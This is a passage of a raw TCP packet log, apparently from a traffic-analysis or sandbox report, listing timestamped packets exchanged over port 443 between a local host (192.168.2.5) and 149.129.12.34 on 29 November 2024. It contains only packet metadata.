Nov 29, 2024 15:45:38.529902935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.529930115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.529973030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.535494089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.535510063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.535572052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.535581112 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.535620928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.709431887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.709460974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.709570885 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.709582090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.709626913 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.714296103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.714313984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.714375973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.714387894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.714431047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.719764948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.719780922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.719835997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.719844103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.719890118 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.724693060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.724710941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.724771023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.724778891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.724823952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.730218887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.730235100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.730290890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.730298996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.730341911 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.735218048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.735235929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.735295057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.735310078 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.735359907 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.740245104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.740942955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.740958929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.741007090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.741014957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.741055965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.747001886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.747021914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.747078896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.747087002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.747127056 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.751965046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.919282913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.919306993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.919379950 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.919406891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.919444084 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.924753904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.924772978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.924901962 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.924913883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.924951077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.930269957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.930301905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.930366039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.930378914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.930435896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.935228109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.935255051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.935321093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.935336113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.935359955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.935372114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.940733910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.940749884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.940849066 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.940857887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.940901995 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.946222067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.946240902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.946301937 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.946311951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.946346998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.951445103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.951462030 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.951517105 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.951527119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.951565027 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.956892014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.956947088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.956964016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.956993103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.957000017 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.957030058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.957045078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.992820024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.131189108 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.131213903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.131333113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.131351948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.131395102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.137501001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.137517929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.137557983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.137566090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.137592077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.137607098 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.142530918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.142549038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.142601013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.142606974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.142646074 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.147672892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.147689104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.147746086 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.147752047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.147788048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.152600050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.152620077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.152666092 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.152672052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.152704954 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.158513069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.158529043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.158575058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.158581972 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.158613920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.163346052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.163362980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.163412094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.163420916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.163460016 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.168802977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.168817997 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.168884993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.168909073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.168952942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.342268944 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.342297077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.342354059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.342384100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.342401028 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.342426062 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.347385883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.347404957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.347475052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.347489119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.347522974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.353226900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.353245974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.353300095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.353326082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.353362083 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.358524084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.358541965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.358594894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.358603954 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.358639002 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.363398075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.363415003 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.363471985 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.363481045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.363517046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.368448019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.368464947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.368520021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.368527889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.368566036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.374557018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.374573946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.374624014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.374629974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.374664068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.379411936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.379432917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.379467010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.379473925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.379501104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.379513979 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.554687023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.554713964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.554863930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.554882050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.554924011 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.557941914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.557959080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.558022976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.558029890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.558064938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.563479900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.563496113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.563551903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.563558102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.563596010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.568933964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.568948984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.569010973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.569021940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.569061995 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.574527025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.574542999 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.574594021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.574600935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.574639082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.579674006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.579689980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.579741955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.579749107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.579782963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.584547043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.584562063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.584614038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.584619999 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.584654093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.590193987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.590212107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.590264082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.590272903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.590313911 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.594110012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.763652086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.763679028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.763920069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.763947010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.763994932 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.768610001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.768627882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.768693924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.768702984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.768742085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.774148941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.774168968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.774243116 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.774251938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.774291039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.779556990 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.779573917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.779642105 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.779649973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.779685020 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.785131931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.785150051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.785242081 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.785260916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.785303116 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.790426970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.790445089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.790555954 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.790564060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.790671110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.795197010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.795213938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.795289040 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.795296907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.795332909 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.795425892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.800823927 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.800842047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.800926924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.800935030 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.800976038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.802352905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.974200964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.974225044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.974347115 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.974358082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.974414110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.979706049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.979724884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.979767084 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.979773998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.979796886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.979815960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.984632969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.984651089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.984698057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.984705925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.984746933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.990051985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.990071058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.990113020 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.990119934 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.990150928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.990161896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.995666027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.995687962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.995734930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:39.995743036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:39.995783091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.001019955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.001035929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.001070976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.001077890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.001101017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.001121044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.006433964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.006450891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.006510019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.006516933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.006551981 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.011295080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.011318922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.011348963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.011357069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.011394024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.011461973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.184784889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.184814930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.185132027 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.185163975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.185213089 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.190371037 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.190390110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.190450907 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.190459967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.190495968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.195730925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.195749044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.195807934 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.195815086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.195851088 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.200709105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.200726986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.200783014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.200797081 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.200835943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.206089973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.206108093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.206171036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.206177950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.206213951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.211258888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.211277008 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.211338043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.211347103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.211385965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.216788054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.216806889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.216866016 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.216875076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:40.216921091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:40.222105980 CET	49704	443	192.168.2.5	149.129.12.34
